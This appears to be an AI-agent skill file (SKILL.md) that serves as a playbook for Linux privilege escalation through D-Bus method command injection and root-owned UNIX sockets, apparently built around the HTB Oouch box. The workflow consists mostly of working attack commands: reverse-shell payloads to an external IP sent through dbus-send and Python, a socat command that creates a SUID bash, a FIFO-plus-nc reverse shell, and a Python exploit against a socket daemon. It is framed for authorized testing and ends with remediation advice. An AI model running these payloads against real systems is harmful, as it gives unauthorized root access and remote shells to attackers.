exploiting-dbus-and-socket-command-injection

$npx mdskill add xalgord/xalgorix/exploiting-dbus-and-socket-command-injection

- During authorized local privilege escalation on desktop/server Linux that runs the D-Bus system bus - When a root-owned service exposes a D-Bus interface with an unprivileged-callable method - When `linpeas`/manual enumeration finds root-owned UNIX sockets in `/tmp`, `/run`, or abstract namespace - When custom or vendor IPC daemons accept untrusted input and perform privileged actions - When reviewing D-Bus policy (`/etc/dbus-1/system.d/`) and Polkit action authorization

SKILL.md

.github/skills/exploiting-dbus-and-socket-command-injectionView on GitHub ↗
---
name: exploiting-dbus-and-socket-command-injection
description: Enumerating the D-Bus system bus and abusing root-exposed methods, policy and Polkit misconfigurations, and
  unix/abstract socket services for command injection and privilege escalation during authorized engagements, covering
  busctl/gdbus/dbus-send enumeration and exploitation plus root-owned UNIX socket abuse.
domain: cybersecurity
subdomain: linux-hardening
tags:
- penetration-testing
- linux
- dbus
- ipc
- privilege-escalation
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting D-Bus and Socket Command Injection

## When to Use

- During authorized local privilege escalation on desktop/server Linux that runs the D-Bus system bus
- When a root-owned service exposes a D-Bus interface with an unprivileged-callable method
- When `linpeas`/manual enumeration finds root-owned UNIX sockets in `/tmp`, `/run`, or abstract namespace
- When custom or vendor IPC daemons accept untrusted input and perform privileged actions
- When reviewing D-Bus policy (`/etc/dbus-1/system.d/`) and Polkit action authorization

## Critical: Techniques Most Often Missed

D-Bus and socket privesc is overlooked because the methods aren't visible in a port scan. Enumerate the bus and local sockets explicitly.

- **Unprivileged-callable method on a root service.** A method flagged `SD_BUS_VTABLE_UNPRIVILEGED` runs in a root process and may pass input to `system()`.
  - How to CONFIRM: `busctl status <service>` shows `UID=0`; `busctl introspect` lists the method; a benign call returns a reply (not an auth error).
- **Activatable services (not yet running).** `(activatable)` bus names start a binary on demand — still an escalation path.
  - How to CONFIRM: `grep -R '^Exec=' /usr/share/dbus-1/system-services` maps the name to a root `Exec=`/`User=`.
- **Command injection in a D-Bus method argument.** Strings forwarded to `system()`/`iptables` are injectable.
  - How to CONFIRM: send `;id #` style payload; for the HTB oouch `Block` method, `;bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #` spawns a root reverse shell.
- **Three-layer authorization gap (D-Bus policy vs Polkit vs activation).** Introspection shows what, not why allowed.
  - How to CONFIRM: cross-check `/etc/dbus-1/system.d/*.conf` (`send_destination`) + `/usr/share/polkit-1/actions/*.policy` (`allow_active`) + the `.service` `Exec=`.
- **Root-owned UNIX socket executing input.** A world-writable root socket that runs received data.
  - How to CONFIRM: `netstat -a -p --unix | grep LISTEN` (or `ss -xlp`) shows a root socket; `echo 'id' | socat - UNIX-CLIENT:/path` runs as root.

## Workflow

### Step 1: Enumerate the D-Bus System Bus

```bash
busctl list                                  # all bus names; note PID/USER and (activatable)
busctl status <service>                       # confirm UID=0 + EffectiveCapabilities
# Map activatable names -> the binary/user that will start
ls -la /usr/share/dbus-1/system-services/ /usr/share/dbus-1/services/ 2>/dev/null
grep -RInE '^(Name|Exec|SystemdService|User)=' /usr/share/dbus-1/system-services 2>/dev/null
```

### Step 2: Introspect Objects and Methods

```bash
busctl tree <service>                         # object paths, e.g. /htb/oouch/Block
busctl introspect <service> <object_path>     # methods + signatures ("s" = string arg)
gdbus introspect --system --dest <service> --object-path <object_path>
```

### Step 3: Review Authorization (policy + Polkit)

```bash
# Who may own / send / receive on the bus
grep -RInE '<(allow|deny) (own|send_destination|receive_sender)=|user=|group=' \
  /etc/dbus-1/system.d /usr/share/dbus-1/system.d 2>/dev/null
# Default Polkit authorization model for the action
grep -RInE 'allow_active|allow_inactive|auth_admin|auth_self|policykit\.imply' \
  /usr/share/polkit-1/actions 2>/dev/null
pkaction --verbose
```

### Step 4: Probe Low-Risk Methods First

```bash
# Distinguish wrong-syntax vs reachable-but-denied vs reachable-and-allowed
busctl call org.freedesktop.login1 /org/freedesktop/login1 \
  org.freedesktop.login1.Manager CanReboot
gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot
```

### Step 5: Exploit a Vulnerable Method (command injection)

```bash
# dbus-send: service object, object path, interface.method, string arg
dbus-send --system --print-reply --dest=htb.oouch.Block \
  /htb/oouch/Block htb.oouch.Block.Block string:';bash -c "bash -i >& /dev/tcp/10.10.14.44/9191 0>&1" #'
```

```python
# Python (dbus) equivalent
import dbus
bus = dbus.SystemBus()
obj  = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
ifc  = dbus.Interface(obj, dbus_interface='htb.oouch.Block')
ifc.Block(";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #")
```

### Step 6: Monitor / Capture the Bus (as root, for analysis)

```bash
busctl monitor <service>                      # live messages for the service
sudo busctl capture <service> > dbus.pcapng   # open in Wireshark
dbus-monitor --system "type=method_call"      # filtered method-call view
```

### Step 7: Abuse Root-Owned UNIX Sockets

```bash
# Discover listening unix sockets and owners
netstat -a -p --unix | grep -i listen
ss -xlp

# Socket that executes received data -> root command execution
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' | socat - UNIX-CLIENT:/tmp/socket_test.s
/tmp/bash -p

# Reverse shell via FIFO if the socket pipes to a shell
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
```

```python
# TID/signal-coupled daemon abuse (privileged socket trusting client thread IDs)
import socket, struct, os, threading, time
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); s.connect("/tmp/remotelogger")
s.sendall(struct.pack('<L', th.native_id) + b'A'*0x80); s.recv(4)
os.kill(th.native_id, 4)     # deliver the signal that triggers the privileged path
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **System bus vs session bus** | System bus carries privileged (often root) services; the target for privesc |
| **Object path / interface / method** | D-Bus addressing: e.g. `/htb/oouch/Block` + `htb.oouch.Block.Block` |
| **Introspection** | `Introspect` returns XML of methods/signatures — shows *what* is callable |
| **D-Bus policy** | `/etc/dbus-1/system.d/*.conf` controls who may own/send/receive on a name |
| **Polkit action** | `.policy` files define auth model (allow_active, auth_admin, ...) for an action |
| **Activatable service** | A bus name that starts a binary on demand via its `.service` `Exec=` |
| **Root-owned socket injection** | A privileged UNIX socket that executes or trusts untrusted client input |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **busctl** | List/status/tree/introspect/call/monitor/capture the bus (systemd) |
| **gdbus** | Scriptable D-Bus method invocation and introspection |
| **dbus-send** | Send a single method call with typed arguments (string:, objpath:, ...) |
| **D-Feet** | GUI to browse services, objects, methods and invoke them with Python args |
| **pkaction / Polkit** | Inspect action authorization models |
| **socat / netstat / ss** | Discover and talk to root-owned UNIX sockets |

## Common Scenarios

### Scenario 1: Root D-Bus service with injectable method
A root `dbus-server` exposes `htb.oouch.Block.Block(s)` that passes the argument to `system()`. Sending `;bash -i >& /dev/tcp/IP/PORT 0>&1 #` via `dbus-send` yields a root reverse shell.

### Scenario 2: Activatable service with weak Exec
`busctl list` shows an `(activatable)` name whose `.service` `Exec=` points to a writable script run as root; triggering the name escalates.

### Scenario 3: World-writable root UNIX socket
A logging daemon binds `/tmp/socket_test.s` as root and runs received bytes via `os.system`. `echo 'chmod +s /bin/bash' | socat - UNIX-CLIENT:/tmp/socket_test.s` makes bash SUID.

### Scenario 4: Proxy service dropping caller identity
A root proxy forwards requests to a backend over its own connection, so the backend treats every request as UID 0, bypassing per-caller authorization.

## Output Format

```
## D-Bus / Socket Injection Finding

**Vulnerability**: Privilege Escalation via D-Bus Method Command Injection
**Severity**: Critical
**Service**: htb.oouch.Block (PID running as UID=0)

### Discovery
$ busctl status htb.oouch.Block   -> UID=0, CommandLine=/root/dbus-server
$ busctl introspect htb.oouch.Block /htb/oouch/Block
  .Block  method  s  s  (UNPRIVILEGED)

### Exploitation
$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block \
    htb.oouch.Block.Block string:';bash -c "bash -i >& /dev/tcp/10.10.14.44/9191 0>&1" #'
-> reverse shell as root

### Impact
Any user permitted to send to the bus name obtains root command execution.

### Recommendation
1. Validate/escape all method arguments; never pass them to system()/shell
2. Require Polkit auth (auth_admin) for privileged methods; remove UNPRIVILEGED flag
3. Tighten /etc/dbus-1/system.d policy (send_destination per least privilege)
4. For UNIX sockets: enforce SO_PEERCRED checks, strict message formats, no exec of input
```

More from xalgord/xalgorix